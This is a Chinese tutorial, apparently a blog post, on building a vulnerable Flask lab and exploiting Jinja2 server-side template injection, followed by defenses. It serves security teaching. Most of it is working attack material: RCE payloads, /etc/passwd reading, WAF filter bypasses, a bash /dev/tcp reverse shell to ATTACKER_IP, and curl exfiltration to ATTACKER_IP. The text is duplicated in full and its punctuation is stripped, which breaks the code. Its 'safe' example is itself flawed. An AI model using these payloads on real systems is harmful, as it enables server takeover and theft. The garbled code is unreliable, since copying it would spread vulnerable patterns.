从零构建Flask SSTI漏洞靶场实战复现与防御指南当开发者过度信任用户输入时Web应用就可能成为攻击者的游乐场。服务器端模板注入SSTI正是这样一类常被忽视的高危漏洞它能让攻击者在你的服务器上执行任意代码。本文将带你用Python Flask框架亲手搭建一个存在SSTI漏洞的Web应用并通过实战演练完整复现攻击链。1. 环境准备与漏洞应用搭建在开始之前请确保你的开发环境已安装Python 3.6版本。我们将使用Flask这个轻量级Web框架作为实验平台。基础环境配置# 创建虚拟环境 python -m venv ssti-lab source ssti-lab/bin/activate # Linux/Mac ssti-lab\Scripts\activate # Windows # 安装依赖 pip install flask jinja2下面是一个故意引入SSTI漏洞的Flask应用代码vulnerable_app.pyfrom flask import Flask, request, render_template_string app Flask(__name__) app.route(/) def index(): name request.args.get(name, Guest) template f html h1Hello {name}!/h1 /html return render_template_string(template) if __name__ __main__: app.run(debugTrue)这个简单的应用接收URL中的name参数并直接拼接到模板中这正是SSTI漏洞的典型成因。启动应用后访问http://localhost:5000/?nameWorld你将看到页面正常显示Hello World!。2. SSTI漏洞检测与确认要验证是否存在SSTI漏洞我们可以尝试注入模板表达式基础检测方法输入数学表达式http://localhost:5000/?name{{7*7}}如果页面返回Hello 49!则确认存在模板注入进阶检测技巧# 测试不同模板语法 test_cases { Jinja2: {{7*7}}, Twig: {{7*7}}, Smarty: {7*7} } for engine, payload in test_cases.items(): response requests.get(fhttp://localhost:5000/?name{payload}) if 49 in response.text: print(f可能使用{engine}模板引擎)当确认存在漏洞后我们需要识别具体的模板引擎类型。在Flask中默认使用的是Jinja2这也是我们重点研究的对象。3. Jinja2模板注入深度利用Jinja2作为Flask的默认模板引擎其功能强大但也带来了安全风险。下面我们逐步演示如何从信息泄露升级到命令执行。3.1 信息泄露攻击获取应用配置信息http://localhost:5000/?name{{config}}这将显示Flask应用的完整配置包括SECRET_KEY数据库连接信息其他敏感配置项环境变量探测http://localhost:5000/?name{{self.__dict__}}3.2 Python对象链构造Jinja2允许通过Python的魔术方法访问对象属性这是攻击者构建利用链的关键# 基本对象链构造流程 .__class__ # 获取字符串类 .__mro__[1] # 获取object基类 .__subclasses__() # 获取所有子类查找可利用的子类# 查找包含os模块的类 for i, cls in enumerate(.__class__.__mro__[1].__subclasses__()): try: if os in cls.__init__.__globals__: print(i, cls) except: continue3.3 实现命令执行找到合适的子类后例如第133个可以构造RCE payloadhttp://localhost:5000/?name{{.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__[os].system(id)}}实用payload集合攻击类型Payload示例文件读取{{.__class__.__mro__[1].__subclasses__()[40](/etc/passwd).read()}}命令执行{{config.__class__.__init__.__globals__[os].popen(ls).read()}}反弹shell{{.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__[os].system(bash -c bash -i /dev/tcp/ATTACKER_IP/4444 01)}}4. 高级绕过技术与实战技巧在实际环境中应用可能会部署各种防护措施。以下是常见的WAF绕过方法4.1 过滤绕过技术1. 过滤方括号[]# 使用__getitem__代替[] .__class__.__mro__.__getitem__(1).__subclasses__()2. 过滤点号.# 使用|attr过滤器 {{request|attr(application)|attr(__globals__)}}3. 过滤关键词# 使用字符串拼接 {{(__globals__)|attr}}4.2 无回显攻击技术当命令执行结果不直接显示时可以使用以下技巧1. 延时检测{{.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__[os].system(sleep 5)}}2. DNS外带数据{{.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__[os].system(curl http://ATTACKER_IP/$(whoami))}}5. 漏洞修复与最佳实践了解了攻击手法后更重要的是如何防护。以下是针对SSTI的防御方案1. 输入过滤# 使用正则过滤危险字符 import re def safe_input(input_str): return re.sub(r[{}], , input_str)2. 模板使用规范# 安全的使用方式 app.route(/safe) def safe_route(): name request.args.get(name, Guest) return render_template_string(Hello {{ user }}!, username)3. 沙箱环境# 创建受限环境 from jinja2.sandbox import SandboxedEnvironment env SandboxedEnvironment()4. 安全配置app.jinja_env.autoescape True # 开启自动转义 app.config[TEMPLATES_AUTO_RELOAD] False # 禁用自动重载在企业级应用中还应考虑以下增强措施部署WAF规则拦截模板注入尝试定期进行安全审计和渗透测试实施最小权限原则限制应用运行权限6. 拓展实验构建完整攻防环境为了更深入理解SSTI建议搭建以下实验环境1. 多漏洞级别应用# 不同防护等级的路由 app.route(/level1) # 无防护 app.route(/level2) # 基础过滤 app.route(/level3) # 沙箱环境2. 自动化测试脚本# 使用pytest进行安全测试 def test_ssti_protection(): payloads [{{7*7}}, {# comment #}] for payload in payloads: r requests.get(fhttp://localhost:5000/?name{payload}) assert 49 not in r.text3. 监控与日志分析# 记录可疑请求 app.after_request def log_requests(response): if {{ in request.query_string.decode(): app.logger.warning(fPossible SSTI attempt: {request.remote_addr}) return response通过这个完整的实验环境开发者可以直观理解SSTI的产生原理测试各种防护措施的有效性培养安全开发意识在真实项目开发中建议采用安全的开发框架避免直接使用底层模板渲染函数。对于必须使用动态模板的场景务必进行严格的输入验证和输出编码。
别再只盯着SQL注入了!手把手教你用Python Flask复现SSTI漏洞(附完整靶场环境)
从零构建Flask SSTI漏洞靶场实战复现与防御指南当开发者过度信任用户输入时Web应用就可能成为攻击者的游乐场。服务器端模板注入SSTI正是这样一类常被忽视的高危漏洞它能让攻击者在你的服务器上执行任意代码。本文将带你用Python Flask框架亲手搭建一个存在SSTI漏洞的Web应用并通过实战演练完整复现攻击链。1. 环境准备与漏洞应用搭建在开始之前请确保你的开发环境已安装Python 3.6版本。我们将使用Flask这个轻量级Web框架作为实验平台。基础环境配置# 创建虚拟环境 python -m venv ssti-lab source ssti-lab/bin/activate # Linux/Mac ssti-lab\Scripts\activate # Windows # 安装依赖 pip install flask jinja2下面是一个故意引入SSTI漏洞的Flask应用代码vulnerable_app.pyfrom flask import Flask, request, render_template_string app Flask(__name__) app.route(/) def index(): name request.args.get(name, Guest) template f html h1Hello {name}!/h1 /html return render_template_string(template) if __name__ __main__: app.run(debugTrue)这个简单的应用接收URL中的name参数并直接拼接到模板中这正是SSTI漏洞的典型成因。启动应用后访问http://localhost:5000/?nameWorld你将看到页面正常显示Hello World!。2. SSTI漏洞检测与确认要验证是否存在SSTI漏洞我们可以尝试注入模板表达式基础检测方法输入数学表达式http://localhost:5000/?name{{7*7}}如果页面返回Hello 49!则确认存在模板注入进阶检测技巧# 测试不同模板语法 test_cases { Jinja2: {{7*7}}, Twig: {{7*7}}, Smarty: {7*7} } for engine, payload in test_cases.items(): response requests.get(fhttp://localhost:5000/?name{payload}) if 49 in response.text: print(f可能使用{engine}模板引擎)当确认存在漏洞后我们需要识别具体的模板引擎类型。在Flask中默认使用的是Jinja2这也是我们重点研究的对象。3. Jinja2模板注入深度利用Jinja2作为Flask的默认模板引擎其功能强大但也带来了安全风险。下面我们逐步演示如何从信息泄露升级到命令执行。3.1 信息泄露攻击获取应用配置信息http://localhost:5000/?name{{config}}这将显示Flask应用的完整配置包括SECRET_KEY数据库连接信息其他敏感配置项环境变量探测http://localhost:5000/?name{{self.__dict__}}3.2 Python对象链构造Jinja2允许通过Python的魔术方法访问对象属性这是攻击者构建利用链的关键# 基本对象链构造流程 .__class__ # 获取字符串类 .__mro__[1] # 获取object基类 .__subclasses__() # 获取所有子类查找可利用的子类# 查找包含os模块的类 for i, cls in enumerate(.__class__.__mro__[1].__subclasses__()): try: if os in cls.__init__.__globals__: print(i, cls) except: continue3.3 实现命令执行找到合适的子类后例如第133个可以构造RCE payloadhttp://localhost:5000/?name{{.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__[os].system(id)}}实用payload集合攻击类型Payload示例文件读取{{.__class__.__mro__[1].__subclasses__()[40](/etc/passwd).read()}}命令执行{{config.__class__.__init__.__globals__[os].popen(ls).read()}}反弹shell{{.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__[os].system(bash -c bash -i /dev/tcp/ATTACKER_IP/4444 01)}}4. 高级绕过技术与实战技巧在实际环境中应用可能会部署各种防护措施。以下是常见的WAF绕过方法4.1 过滤绕过技术1. 过滤方括号[]# 使用__getitem__代替[] .__class__.__mro__.__getitem__(1).__subclasses__()2. 过滤点号.# 使用|attr过滤器 {{request|attr(application)|attr(__globals__)}}3. 过滤关键词# 使用字符串拼接 {{(__globals__)|attr}}4.2 无回显攻击技术当命令执行结果不直接显示时可以使用以下技巧1. 延时检测{{.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__[os].system(sleep 5)}}2. DNS外带数据{{.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__[os].system(curl http://ATTACKER_IP/$(whoami))}}5. 漏洞修复与最佳实践了解了攻击手法后更重要的是如何防护。以下是针对SSTI的防御方案1. 输入过滤# 使用正则过滤危险字符 import re def safe_input(input_str): return re.sub(r[{}], , input_str)2. 模板使用规范# 安全的使用方式 app.route(/safe) def safe_route(): name request.args.get(name, Guest) return render_template_string(Hello {{ user }}!, username)3. 沙箱环境# 创建受限环境 from jinja2.sandbox import SandboxedEnvironment env SandboxedEnvironment()4. 安全配置app.jinja_env.autoescape True # 开启自动转义 app.config[TEMPLATES_AUTO_RELOAD] False # 禁用自动重载在企业级应用中还应考虑以下增强措施部署WAF规则拦截模板注入尝试定期进行安全审计和渗透测试实施最小权限原则限制应用运行权限6. 拓展实验构建完整攻防环境为了更深入理解SSTI建议搭建以下实验环境1. 多漏洞级别应用# 不同防护等级的路由 app.route(/level1) # 无防护 app.route(/level2) # 基础过滤 app.route(/level3) # 沙箱环境2. 自动化测试脚本# 使用pytest进行安全测试 def test_ssti_protection(): payloads [{{7*7}}, {# comment #}] for payload in payloads: r requests.get(fhttp://localhost:5000/?name{payload}) assert 49 not in r.text3. 监控与日志分析# 记录可疑请求 app.after_request def log_requests(response): if {{ in request.query_string.decode(): app.logger.warning(fPossible SSTI attempt: {request.remote_addr}) return response通过这个完整的实验环境开发者可以直观理解SSTI的产生原理测试各种防护措施的有效性培养安全开发意识在真实项目开发中建议采用安全的开发框架避免直接使用底层模板渲染函数。对于必须使用动态模板的场景务必进行严格的输入验证和输出编码。